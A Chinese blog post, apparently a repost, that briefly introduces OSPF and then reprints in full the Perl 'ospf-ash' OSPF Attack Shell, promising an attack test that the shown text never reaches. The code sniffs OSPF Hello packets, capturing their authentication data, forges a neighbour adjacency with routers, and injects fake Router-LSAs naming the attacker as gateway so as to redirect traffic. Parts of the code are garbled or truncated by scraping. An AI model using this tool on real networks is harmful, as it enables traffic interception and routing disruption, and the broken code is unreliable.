OSPF协议栈的perl 脚本实现!

OSPF协议栈的perl 脚本实现!,第1张

概述OSPF协议栈的perl 脚本实现! 现代中型或者大型规模企业应用比较多的是OSPF协议,当然如果都采用CISCO设备,我会更推荐EIGRP协议,因为快速的收敛特性! OSPF协议非常复杂,其RFC2328就有1万多行!OSPF协议也相对很难理解。   本篇文章就通过一个老外写的OSPF perl脚本来分析一下部分的OSPF协议栈功能。并针对这个脚本做改变实现一个攻击测试。   如下就是OSPF OSPF协议栈的perl 脚本实现! 现代中型或者大型规模企业应用比较多的是OSPF协议,当然如果都采用CISCO设备,我会更推荐EIGRP协议,因为快速的收敛特性! OSPF协议非常复杂,其RFC2328就有1万多行!OSPF协议也相对很难理解。   本篇文章就通过一个老外写的OSPF perl脚本来分析一下部分的OSPF协议栈功能。并针对这个脚本做改变实现一个攻击测试。   如下就是OSPF perl脚本代码:   #!/usr/bin/perl
#
# $ID: ospf-ash.pl,v 1.9 2007/03/13 18:28:26 gomor Exp $
#
package Net::Attack::OSPF;
use strict;
use warnings; our $VERSION = '0.16'; use Net::Frame::Device;
use Net::Frame::Dump::Online; use Net::Frame::Simple;
use Net::Write::Layer2; use Net::Frame::Layer qw(:subs);
use Net::Frame::Layer::ETH qw(:consts);
use Net::Frame::Layer::ARP qw(:consts);
use Net::Frame::Layer::IPv4 qw(:consts);
use Net::Frame::Layer::OSPF qw(:consts);
use Net::Frame::Layer::OSPF::Hello;
use Net::Frame::Layer::OSPF::DatabaseDesc;
use Net::Frame::Layer::OSPF::Lsa; use Data::Dumper;
use Term::Readline;
use Time::HiRes qw(gettimeofday); our $oDevice;
our $oWrite; # To store OSPF parameters (areaID,...)
our $Env = {
   routerPri    => 1,
   lsAge        => 200,
   areaID       => undef,
   networkMask  => undef,
   dr           => undef,
   bdr          => undef,
   neighborList => [],
   _neighbors   => [],
   state        => 'start',
}; # Will store ARP cache table
our $Mac = {}; sub init {
   my ($dev,$src,$mac) = @_;    if ($dev) { $oDevice = Net::Frame::Device->new(dev => $dev) }
   else      { $oDevice = Net::Frame::Device->new              }
   $oDevice->ip($src)  if $src;
   $oDevice->mac($mac) if $mac;    print "\n  -- OSPF Attack Shell - $VERSION --\n\n";
   print "Using device    : ".$oDevice->dev."\n";
   print "Using source IP : ".$oDevice->ip. "\n";
   print "Using source MAC: ".$oDevice->mac."\n";    $oWrite = Net::Write::Layer2->new(dev => $oDevice->dev);
   $oWrite->open;
} sub help {
   print
      "You can use the following functions:\n".
      "  Listen()    wait for an OSPF Hello frame,get varIoUs variables\n".
      "  exchange()  become an OSPF neighbor with all available routers\n".
      "  lock()      keep regularly sending Hello frames\n".
      "  lsu_router(NETWORK,MASK)        inject a LSA Router\n".
      "";
} sub _dumpCallListen {
   my ($h,$data) = @_;
   my $f = Net::Frame::Simple->newFromDump($h);
   if ($f->ref->{'OSPF'}) {
      my $packet = $f->ref->{'OSPF'}->packet;
      if ($packet->layer eq 'OSPF::Hello') {
         my $dr = $packet->designatedRouter
            if $packet->designatedRouter;
         my $bdr = $packet->backupDesignatedRouter
            if $packet->backupDesignatedRouter;
         my @nl;
         for ($packet->neighborList) {
            push @nl,$_ unless /^0.0.0.0$/;
         }          # If there is only a DR,we add it to neighborList
         if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl,$dr; }          print "Hello from: ".$f->ref->{'IPv4'}->src."\n";
         print "Found: DR : $dr\n"  if $dr;
         print "Found: BDR: $bdr\n" if $bdr;
         print "Found: neighborList: @nl\n" if @nl;
         $Env->{dr}            = $dr  if $dr;
         $Env->{bdr}           = $bdr if $bdr;
         $Env->{neighborList}  = \@nl if @nl;
         $Env->{helloInterval} = $packet->helloInterval
            if $packet->helloInterval;
         $Env->{routerDeadInterval} = $packet->routerDeadInterval
            if $packet->routerDeadInterval;
         $Env->{networkMask} = $packet->networkMask
            if $packet->networkMask;
         $Env->{areaID} = $f->ref->{'OSPF'}->areaID
            if $f->ref->{'OSPF'}->areaID;          $Env->{authType} = $f->ref->{'OSPF'}->authType
            if $f->ref->{'OSPF'}->authType;
         $Env->{authData} = $f->ref->{'OSPF'}->authData
            if $f->ref->{'OSPF'}->authData;          printf "AuthType: 0x%02d\n",$Env->{authType}
            if $Env->{authType};
         printf "AuthData: %s\n",$Env->{authData}
            if $Env->{authData};          $data->stop;
      }
   }
} sub _updateNeighbors {
   my %neighbor;
   $neighbor{$Env->{dr}}  = '' if ($Env->{dr}  && $Env->{dr}  !~ /^0.0.0.0$/);
   $neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/);
   for (@{$Env->{neighborList}}) {
      #next if /^0.0.0.0$/;
      #next if /^@{[$oDevice->ip]}$/ ;
      $neighbor{$_} = '';
   }
   for (keys %neighbor) {
      delete $neighbor{$_} if (/^0.0.0.0$/ || /^@{[$oDevice->ip]}$/ );
   }
   $Env->{_neighbors} = [ keys %neighbor ];
} sub Listen {
   # Flush $Env vars
   $Env->{dr}           = undef;
   $Env->{bdr}          = undef;
   $Env->{neighborList} = [];
   $Env->{authType} = undef;
   $Env->{authData} = undef;    my $oDump = Net::Frame::Dump::Online->new(
      dev       => $oDevice->dev,
      overwrite => 1,
      promisc   => 1,
   );
   $oDump->filter('dst host 224.0.0.5 and ip proto 0x59');
   $oDump->onRecv(\&_dumpCallListen);
   $oDump->onRecvData($oDump);
   $oDump->start;    if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/) {
      $Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr});
   }
   if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) {
      $Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr});
   }    _updateNeighbors();
} sub _ospfSend1 {
   my ($f) = @_;
   $f->send($oWrite);
} sub _ospfSend {
   my ($f,$oDump,$recvFrom) = @_;
   my $recv;
   for (1..2) {  # Two retrIEs
      $f->send($oWrite);
      until ($oDump->timeout) {
         if ($recv = $f->recv($oDump)) {
            my $dst = $f->ref->{'IPv4'}->dst;
            my $src = $recv->ref->{'IPv4'}->src;
            if ($recvFrom && ($src eq $recvFrom)) {
               last;
            }
            elsif ($dst eq '224.0.0.5' || $dst eq $src) {
               last;
            }
            $recv = undef;
         }
      }
      $oDump->timeoutreset;
      last if $recv;
   }
   $recv;
} sub _getEthHdr {
   my ($dst) = @_;
   my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst;
   Net::Frame::Layer::ETH->new(
      src=\'#\'" $oDevice->mac,
      dst => $mac || NF_ETH_ADDR_broADCAST,
   );
} sub _getIpHdr {
   my ($src,$dst) = @_;
   Net::Frame::Layer::IPv4->new(
      noFixLen => 1,
      ttl      => 1,
      src      => $src,
      dst      => $dst || '224.0.0.5',
      protocol => NF_IPv4_PROTOCol_OSPF,
   );
} sub _getospfhello {
   my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);    my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_HELLO,
      routerID => $oDevice->ip,
      areaID   => $Env->{areaID},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );    my $ospfhello = Net::Frame::Layer::OSPF::Hello->new(
      networkMask        => $Env->{networkMask},
      helloInterval      => $Env->{helloInterval},
      options            => NF_OSPF_HELLO_OPTIONS_E,
      routerPri          => $Env->{routerPri},
      routerDeadInterval => $Env->{routerDeadInterval},
      designatedRouter       => $Env->{dr},
      backupDesignatedRouter => $Env->{bdr} || '0.0.0.0',
      neighborList           => $Env->{neighborList},
   );
   $ospf->packet($ospfhello);
   $ospf->computeLengths;
   $ospf->computeChecksums;    $ip->length($ip->length + $ospf->length);    Net::Frame::Simple->new(layers => [ $eth,$ip,$ospf ]);
} sub _getospfdbd {
   my ($router,$flags,$seqnum,$lsa) = @_;    my $eth = _getEthHdr($router);
   my $ip  = _getIpHdr($oDevice->ip,$router);    my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_DATABASEDESC,
   );    my $ospfdbd = Net::Frame::Layer::OSPF::DatabaseDesc->new(
      ddSequenceNumber => $seqnum || 4300,
      options          =>
         NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E,
      flags            => $flags ||
         (NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M |
         NF_OSPF_DATABASEDESC_FLAGS_MS),
   );
   $ospf->packet($ospfdbd);
   $ospf->computeLengths;
   $ospf->computeChecksums;    $ip->length($ip->length + $ospf->length);    $ospf->packet->lsaList([ $lsa ]) if $lsa;    Net::Frame::Simple->new(layers => [ $eth,$ospf,]);
} sub _getLsaRouterheader {
   Net::Frame::Layer::OSPF::Lsa->new(
      lsAge             => 92,
      options           => 0x02,
      lsType            => 0x01,
      linkStateID       => $oDevice->ip,
      advertisingRouter => $oDevice->ip,
      lsSequenceNumber  => 1,
   );
} sub exchange {
   my ($router) = @_;    my $oDump = Net::Frame::Dump::Online->new(
      dev           => $oDevice->dev,
      overwrite     => 1,
      promisc       => 1,
      timeoutOnNext => 2,
   );
   $oDump->filter('ip proto 0x59');
   $oDump->start;    my $ospfhelloReply = _ospfSend(_getospfhello(),$router);    dIE("No router Listens") unless $ospfhelloReply;
   # We are in ExStart state    for (@{$Env->{_neighbors}}) {
      next if /^0.0.0.0$/;       # Then,DR sends DBD,we reply the same DBD
      my $ospfdbd      = _getospfdbd($_);
      my $ospfdbdReply = _ospfSend($ospfdbd,$oDump);       if (! $ospfdbdReply) {
         warn("$_: No DBD reply");
         next;
      }
      # We are in Exchange state       # Now is Exchange state,we reply with received ddSeqNum + 1,flags M|MS,
      # and our Router-LSA header
      my $seqnum = $ospfdbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
      my $flags  = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS;
      my $lsaRouter     = _getLsaRouterheader();
      my $ospfdbd2      = _getospfdbd($_,$lsaRouter);
      my $ospfdbd2Reply = _ospfSend($ospfdbd2,$oDump);       if (! $ospfdbd2Reply) {
         warn("$_: No DBD2 reply");
         next;
      }       # Last step before LS exchange,we reply to the "empty" request with
      # ddSeqNum +1,flags MS only
      $seqnum = $ospfdbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
      $flags  = NF_OSPF_DATABASEDESC_FLAGS_MS;
      my $ospfdbd3      = _getospfdbd($_,$seqnum);
      my $ospfdbd3Reply = _ospfSend($ospfdbd3,$oDump);       if (! $ospfdbd3Reply) {
         warn("$_: No DBD3 reply");
         next;
      }       print "$_: exchange complete\n";
   }    # If there were no BDR,we are the new one
   if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) {
      $Env->{bdr} = $oDevice->ip;
   }    _updateNeighbors();
   $Env->{neighborList} = [ @{$Env->{_neighbors}} ];
   push @{$Env->{neighborList}},$oDevice->ip;    $oDump->stop;
} sub _getLsuNetwork {
   my ($linkStateID,$router,$netmask) = @_;    my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);    my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_linkSTATEUPDATE,
   );    my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
      lsAge   => $Env->{lsAge},
      options => 0x02,
      lsType  => 0x02,
      linkStateID       => $linkStateID || $oDevice->ip,
      lsSequenceNumber  => getRandom32bitsInt(),
   );    my $lsaNetwork = Net::Frame::Layer::OSPF::Lsa::Network->new(
      netmask    => $netmask,
      routerList => [ $router,],
   );    $lsa->lsa($lsaNetwork);
   $lsa->computeLengths;
   $lsa->computeChecksums;    my $ospfLsu = Net::Frame::Layer::OSPF::linkStateUpdate->new(
      lsaNumber => 1,
      lsaList   => [ $lsa ],
   );    $ospf->packet($ospfLsu);
   $ospf->computeLengths;
   $ospf->computeChecksums;    $ip->length($ip->length + $ospf->length);    Net::Frame::Simple->new(layers => [ $eth,$ospf ]);
} sub _getLsuRouter {
   my ($network,$mask) = @_;    my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);    my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_linkSTATEUPDATE,
      options => 0x22,
      lsType  => 0x01,
   );    my $lsaRouter = Net::Frame::Layer::OSPF::Lsa::Router->new(
      flags => 0,
   );    # To correctly send a router,we must first advertise the network/mask
   # In a stub network (type 0x03)
   my @linkList = ();
   push @linkList,Net::Frame::Layer::OSPF::Lsa::Router::link->new(
      linkID   => $network,
      linkData => $mask,
      type     => 0x03,
      nTos     => 0,
      metric   => 10,
   );    # Then,we MUST say which is the gateway,to the DR
   # Here,we say the gateway is our IP address to redirect
   # trafic to us.
   push @linkList,Net::Frame::Layer::OSPF::Lsa::Router::link->new(
      linkID   => $Env->{dr},
      linkData => $oDevice->ip,
      type     => 0x02,
   );    $lsaRouter->nlink(scalar @linkList);
   $lsaRouter->linkList(\@linkList);    $lsa->lsa($lsaRouter);
   $lsa->computeLengths;
   $lsa->computeChecksums;    my $ospfLsu = Net::Frame::Layer::OSPF::linkStateUpdate->new(
      lsaNumber => 1,$ospf ]);
} sub lsu_network {
   my ($linkStateID,$netmask) = @_;    my $lsu = _getLsuNetwork($linkStateID,$netmask);
   _ospfSend1($lsu);
} sub lsu_router {
   my ($network,$mask) = @_;    my $lsu = _getLsuRouter($network,$mask);
   _ospfSend1($lsu);
} sub _getLsaAck {
   my ($request) = @_;    my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);    my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_linkSTATEACK,
   );    my $raw = '';
   for ($request->lsaList) {
      $_->lsa(undef);
      $raw .= $_->pack;
   }    $ospf->packet($raw);
   $ospf->computeLengths;
   $ospf->computeChecksums;    $ip->length($ip->length + $ospf->length);    Net::Frame::Simple->new(layers => [ $eth,]);
} sub _dumpCallOnRecv {
   my ($h,$data) = @_;
   my $frame = Net::Frame::Simple->newFromDump($h);
   if ($frame->ref->{'OSPF'}) {
      my $packet = $frame->ref->{'OSPF'}->packet;
      if ($packet) {
         # If a LSU frame is seen,we must ackNowledge it
         if ($packet->layer eq 'OSPF::linkStateUpdate') {
            _ospfSend1(_getLsaAck($packet));
         }
         # If a Hello frame is seen,we send one,to keep behing in neighborhood
         elsif ($packet->layer eq 'OSPF::Hello') {
            _ospfSend1(_getospfhello());
         }
      }
   }
} sub lock {
   my $pID = fork();
   dIE("fork: $!") unless defined($pID);
   if ($pID) { # Parent process
      return 1;
   }
   else { # Child process
      close(STDIN);
      close(STDOUT);
      close(STDERR);
      my $oDumpChild = Net::Frame::Dump::Online->new(
         overwrite => 1,
         promisc   => 1,
         dev       => $oDevice->dev,
         filter    => 'ip proto 0x59 '.
                      'and not src host '.$oDevice->ip,
         onRecv    => \&_dumpCallOnRecv,
      );
      $oDumpChild->start;
      $oDumpChild->stop;
      exit(0);
   }
} sub ash {
   my ($dev,$mac) = @_;    init($dev,$mac);    my $prompt = 'ash> ';
   my $name   = 'ASH';
   my $term   = Term::Readline->new($name);
   $term->ornaments(0);    {
      no strict;       while (1) {
         if (my $line = $term->readline($prompt)) {
            $line =~ s/^\s*Listen\s*$/Net::Attack::OSPF::Listen/;
            eval($line);
            warn($@) if $@;
            print "\n";
         }
      }
   }    print "\n";
} 1; package main; my $dev = shift;
my $src = shift;
my $mac = shift; Net::Attack::OSPF::ash($dev,$mac); 1; __END__ =head1 name ospf-ash - Net::Frame based OSPF Attack Shell tool =head1 AUTHOR Patrice E<lt>GomoRE<gt> Auffret =head1 copYRIGHT AND liCENSE copyright (c) 2007,Patrice E<lt>GomoRE<gt> Auffret You may distribute this module under the terms of the Artistic license.
See liCENSE.Artistic file in the source distribution archive. =cut
  待续。。。 总结

以上是内存溢出为你收集整理的OSPF协议栈的perl 脚本实现!全部内容,希望文章能够帮你解决OSPF协议栈的perl 脚本实现!所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/1290677.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-09
下一篇 2022-06-09

发表评论

登录后才能评论

评论列表(0条)

保存